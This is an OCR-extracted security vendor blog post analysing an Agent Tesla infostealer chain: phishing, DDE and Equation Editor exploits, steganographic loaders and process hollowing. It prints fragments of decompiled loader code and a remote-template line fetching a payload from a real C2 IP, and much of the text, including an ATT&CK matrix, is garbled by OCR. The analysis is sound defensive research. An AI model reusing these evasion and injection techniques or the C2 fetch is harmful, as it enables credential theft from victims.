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Introduction

The Agent Tesla information stealer has been around since 2014. During the last two to three years, it’s also had

a significant distribution growth factor partially due to the fact that cracked versions of it have been leaked.

It has been adapted by many advanced and less-sophisticated adversaries; as a result we can clearly identify a

growing number of modified Tesla variants.

This year marks a significant change from previous years in the distribution techniques that are leveraged for
Agent Tesla. We have seen this information stealer delivered through exploits, COVID-19 phishing campaigns,

integrating advanced steganography, implementing different innovative obfuscation techniques, and more.

The following technical analysis covers a single Agent Tesla attack chain investigation after multiple attack
attempts on a Morphisec customer were prevented at the end of October. This was particularly interesting because
of the use of multiple advanced techniques that you rarely see combined into a single chain. Some of these

advanced techniques that we will cover in this blog include:

e Use of a compromised sender email address

e Double use of exploits to deliver the agent downloader

e Use of advanced DeepSea obfuscator

e Use of double steganography obfuscation to deliver agent loader

e Use of Frenchy shellcode and .Net delegation for whitelisting bypass

e Executing the dark stealer from memory
Technical Details
Spearphishing

The attack chain started with a phishing email mentioning an RFQ for a new order. This might have triggered
suspicion for a more security aware employee, but in this case, the victim was used to receiving similar emails and

took the bait.

Furthermore, the advanced gateway solution designed to prevent or quarantine documents with a suspected DDE
exploit (this will be discussed later) worked, but the user was convinced that the email was legitimate and released

it from quarantine because the user is used to receiving RFQs.

In this case, the email was sent from a trusted third party through either a compromised email or a vulnerable

domain that allows spoofing emails.
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DDE Exploit

DDE
exploit
Hollow

CVE-2018-0802
T - T — =8

CVE-2017-11882

The attached RFQ document is a known macro-less DDE exploit that will download its next stage document from
a C2. In order to reduce the risk of detection, the attackers implemented a known technique to avoid the use of

“DDE” as part of the text and to delay the download until after protected mode is disabled.

Y Favorites Mame Date modified Type Size
=) Desktop = document.xml.rels XML Document 1KE
|8 Downloads 2| webSettings.xml.rels 10/20/20201:20 PM XML Document 1KB

“El Recent Places

ile Edit Search View Encoding Language Settings Tools Macre Run Plugins  Window 7 X
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= webSettings xml rels 3 |
1
2
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4 " Target="http://192.3.141.134/document . doc" TargetHode="Extema1",’)|
5
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Microsoft Word
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Opening: ‘http://192.3. 141, 134/document. doc’

————

Equation Editor Exploit

Document.doc implements a second exploit in the chain identified by the following CVEs: CVE-2018-0802,
CVE-2017-11882, a memory corruption vulnerability. The content of this new document automatically replaces
the content of the original document. While Patches already exist for those vulnerabilities, many endpoints were

still unpatched due to operational constraints. This reality makes this CVE highly popular even today.
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Agent Tesla Loader 1
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Following a successful exploitation of the Microsoft Equation Editor vulnerability, a thin ~500KB loader is
downloaded from the same C2 by the equation editor process. The loader is slightly obfuscated with a DeepSea

obfuscator.

As was previously published, the Tesla loader started to abuse steganography techniques to implement its next

stage by hiding its executable in a PNG image; only this time the image looks significantly different.

(manifestResourcesStream != b

(manifestResourceStream);

Surprisingly, the developers of this Tesla loader implemented an additional steganography layer on top of the

previously described technique to avoid heuristic detection of image resource based on metadata or entropy.

(num4 >= func. (bitmap})

¥
L
y

color = func.zIxNHrwgwmyqTBPSTE(bitmap, numd, num2};

)

array[num3++] color.B;
numd++;

array[num3++] color.G;
num = 1;

)

The leads to a second steganography layer, which already resembles embedded executable images we know:
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sVacBanned (XmlEnumAttribute.getResourceImg(Assembly.GetExecuting mbly()));

Agent Tesla Loader 2

The decrypted image is not the final result, instead it leads us to one more loader that is also obfuscated by an

unknown obfuscator.

This .Net assembly is loaded in memory within vbc.exe (the first loader) as soon as it’s decrypted from the image.
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v X MainQ:void X

K\\v4.8.38319\\RegAsm.exe™;
.SpecialFolder. ) + text2;

b =B References
4 @l Resources = Process. . . .split 0
=) {

4 {} -
P %%, <Modules @
4 {} NOCHIQIFNF
4 %%, HV4XROGME| @0 6
b Ml Base Type and Interfaces
b (text3))

text3 = FNFHKBSBOI. (text3);

b: (a4 == "True")
e @
4 {} UQUOKDBIT Thread. ( . (value) * 1000);
4 %, FNFHKBSBOI }
b M Base Type and Interfaces
b M Derived Types )
Py cctor(: FNFHKBSBOT . FNFI (bytes));
a7 = "False”;
"True")

(a5 == "None")

ProcessStartInfo

This assembly has multiple functionalities that can be executed based on the predefined configuration parameters,

such as:

| installationpath)
(installationpath == "AppData™)
.SpecialFolder.
(installationpath == "Temp")
OF
(installationpath == "UserProfile")
| .SpecialFolder.

.SpecialFolder.

Finally this second loader implements a basic decryption following the extraction of its byte array from the

resource.

(] []1 bytes)
Encoding. .GetBytes(FNFHKBSBOI. p

< bytes.

Aum
bytes[num] ~= bytes2[i ¥ 18];

bytes;

As soon as the next stage has been extracted, it is injected into a legitimate RegAsm application using delegation

and a known hollowing technique, which is implemented by the Frenchy shellcode framework.
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Frenchy Shellcode Loader

As the hollowing mechanism is implemented by native code using a known Frenchy shellcode framework, there
was a need to implement a code injection technique that was less likely to be picked up by some vendors. Instead
of using a regular “CreateThread” type of method for redirecting the flow to an allocated shellcode, attackers use
delegation to achieve the same thing — this is definitely not a new technique but it is less popular than a simple

callback native function.

z yarray 64u);

.BIEPE12VXR)Marshal.GetDelegateForFunctionPointer(intPtr, typeof(]| LBOEPEL2VXR) ) ;
);

rr intPtr,
.BIEPE12VXR G9EPEL2VX] {
- ncompressed, intPtr Incompressed. b H
(value ==

int compressed.

text
path

The executed shellcode is identified as a Frenchy shellcode. Morphisec Labs has tracked many Tesla variants that
use Frenchy shellcode since January 2020 (although with a lot fewer staging layers). The shellcode maps “known”
DLL sections into memory to avoid monitoring by runtime hooking, then it creates the target process in suspended
mode (RegAsm). It then maps a section into the legitimate process and it copies the previously de-crypted
executable into this section. Finally it executes the resume thread with new context that leads to the execution of

the Dark stealer.

T — Seg J(&appliame, @, @, @, @, @xBoOEEEC, @, @, V75, &pHandle) )// Suspended
|Z GetProcAddressCustom seg0 VBA(vE4);
ﬂ SectionMap seg0] return @;
ﬂ MapFunctions seg0)
[7] Hollow seg I ionProcess({pHandle, @, &76, @x18, 8);
@ sub_1E9C seg0| .
@_a\lntajmhe seq0) '.I_., + 8, Bbase address, 4, 8) < 9 i
OptionalHeader.ImageBase && NtUnmapviewofSection(pHandle, base_address) < @ )
goto LABEL_26;
9 = vaG-»0ptionalHeader.SizeOfImage;
88 a;
if ( MiCreateSection(&pSection, @xF@@1F, @, &./79, 64, @x3000000, @) < @ )
goto LABEL_26;
if ( nt ction, -1, (int *)&a2, @, @, @, &vil, 2, @, 64) < @ )
-»0OptionalHeader.ImageBase;
5-»0OptionalHeader.ImageBase && bas 56-»0ptionalHeader.5ize0fImage )
U =5):
if (N 8, &/32, 2, ©, PAGE EXECUTE READWRITE) < @ )
goto LAB
68 = ved-»e_lfanew;
y(vi3, a2, vG6->OptionalHeader.SizeOfHeaders);
3
v66->FileHeader.NumberOfSections > @u )
59 = (_DWORD *)((char *)&32[4].e_maxalloc + v&3);
‘ m 3
Line4 of 6 88 + *(v69 - 2), (IMAGE_DOS_HEADER *)((char *)a2 + *v69), *(v69 - 1));
HE, Graph overview O& x 5-3FileHeader . NumberOfsections;
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Decrypted Tesla Dark Stealer

The final payload that runs within the RegAsm is the main Agent Tesla Dark Stealer module, it is also obfuscated

using an unknown obfuscator.

£ num
(num
- (num == 1)
num = 23
(num == 2)
" (gparam @ !=
{
gparam_@;

¥
num

pe and Interfaces if (num

num 1;

(num != 4)

gparam_0;

100 %

Locals

Narme

All the different configuration strings such as browser names can easily be extracted by simple xor manipulation

of the executable bytes.
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The decrypted strings have been uploaded to pastebin.

VirusTotal graph analysis on the IP reveals additional downloaders and multiple different Equation Editor exploits
downloaded within the last couple of months.

- p—

BeEnrib -]

Enpasnd g e iniafigonon tawoh i

T m

Here is the MITRE ATT&CK matrix with the techniques deployed by this Agent Tesla attack highlighted for
reference.
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Execution
10 techniques

Initial Access
< techniques

Privilege
Escalai%n

12 techniques

Persistence
18 technigues
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Credential
Access
14 techniques

Defense Evasion
37 techniques

Discovery
25 techniques

Lateral
Movement
9 technigues

Command and

Collection
17 techniques

Control
16 techniques

Exfiltration
9 techniques

Impact
13 techniques

Drive-by Command and
Compromise Scripting
Interpreter .
Exploit Public- -
Facing Exploitation for
Application Client Execution

External Remote Inter-Process

Services Communication .,
Hardware Native API
Additions

- Scheduled
histing [ Taskiieb .,
Replication Shared Modules
Through
Removable Software
Media Deployment Tools
Supply Chain System Services .,
Compromise . - =

= User Execution
Trusted —
Relationship Windows
Ianagement

Valid Instrumentation
Accounts .,

Conclusion

Account Abuse Elevation
Manipulation .

Control
Mechanism
BITS Jobs B
Access Token
Boot or Logon Manipulation .
Autostart =
Execution 8oot or Legon
) Autostart
Boot or Logon Execution
Initialization &
Seripts 8oot or Logon
- Initialization
Browser Scripts .
Extensions 2
Create or Modify
Ccompromise System
client Software Process .
Binary -
Event Triggered
Create Execution .-
Account , 2
Explaitation for
create or Modify [l Privilege
System Escalation
PIDCESS
Group Policy
Event Triggered Modification
Execution .
e Hijack Execution
External Remote | Flow
Services
Process
Huack Execution n Injection
Scheduled
Implar\t Contziner  TaskyJob:
Image b
valid
omce Appllcallon Accounts
sta
Pre-05 Boot
Scheduled
Task/ch
Server Software
Component .
Traific
Signaling
Valid
Accounts 5,

Abuse Elevation
Control Mechanism

Brute Force ;.

Access Token

Manipulation
BITS Jobs Exploitation for
Credential
Deobfuscate/Decode  Access
Files or Information
Forced

Direct Volume Access Authentication

Execution Input

Guardrails , Capture |

Exploitation for Han-in-the-

Defense Evasion Middle .

File and Directory Modify

Permissions Authentication

Modification Process ,,,

Group Policy Network

Modification sniffing

Hide Artifacts 05 Credential
DUMpINg sy

Huack Execution &
Steal

— Application

Impair Defenses Access Token

Indicator Removal on Steal or Forge
Kerberos

Ll Tickets
Indirect Command
Execution Steal Web

Session Cookie
Masquerading

Twe-Factor
Authentication
Interception

Modify Authentication
Process

Moy Cloud Compute
Infrastructure

Modify Registry

Modify System
Image

Network Eoundary
Bridging

Obfuscated Files or

Application Window

Discovery

Browser Bookmark
Discovery

Cloud Infrastructure
Discovery

Cloud Service
Dashboard

Cloud Service Discovery
Domain Trust Discovery

File and Directory
Discovery

Network Service
Scanning

Network Share
Discovery

Network Sniffing

Password Policy
Discovery

Peripheral Device
Discovery

Permission Groups
Discoves

Procass Discovery
Query Registry
Remote System
Discovery

Software Discovery .

System Information
Discovery
System Network

Configuration
Discovery

System Network
Connections Discovery

[| Account Discovery ,, n ;xplm:almn of
emo

Services

Internal
Spearphishing

Lateral Tool
Transfer

Remote Service
Session
Hijacking .,

Remote
Services

Replication
Through
Removable
Media

Software
Deployment
Tools

Taint Shared
Content

Use Alternate
Authentication
Material

Archive Application
Collected yer
Data Protocol

Automated
Exfiltration .

Data Transfer

Audic Capture Communication  Size Limits
Through
Collection Media ver
Alternative
clipboard Data Data protocol .
Encading 0
Data from Cloud Exfiltration
Storage Object Data Over C2
Obfuscation , - Channel
Data from o
Configuration Dynamic Exfiltration
Repository Resolution , - Over Other
o - Network
Data from Encrypted Medium
Infarmation Channel .
Repositories ,, . L Exfiltration
- Fallback Over Physical
Datafrom local  Channels Medium -
System :
Ingress Tool Exfiltration
Data from Transfer Over Web
Network Shared Service
Drive Multi-Stage =
Channels Scheduled
Data from Transfer
Removable Non-Application
Media Layer Protocal Transfer Data

Data Staged .., [

Non-Standard
Port

Protocol
Tunneling

Input I
Capture ., Proxy

Man in the Remote Access
Browser Software
Man-in-the- Traffic

Middle Signaling .
Screen Capture | Web Service -
Video Capture

te Cloud
Account

Account Access
Removal

Data Destruction

Data Encrypted for
Impact

Manipulation
Defacement
Disk Wipe ,,

Endpoint Denial of
Service

Firmware
Corruption

Inhibit System
Recovery

Netwark Denial of
Service
Resource Hijacking
Service Stop

System
Shutdown/Reboot

legend

Agent Tesla may be an older information stealer, given its launch in 2014, but recent upgrades that allow it to

evade detection make it more powerful than ever. The attack described above makes it abundantly clear that Agent

Tesla remains a force, especially given the addition of the above described techniques that make this infostealer

capable of bypassing modern security controls to deliver its payload.

Morphisec customers can remain confident, however, that they are protected against Agent Tesla through the zero

trust security power of Automated Moving Target Defense.
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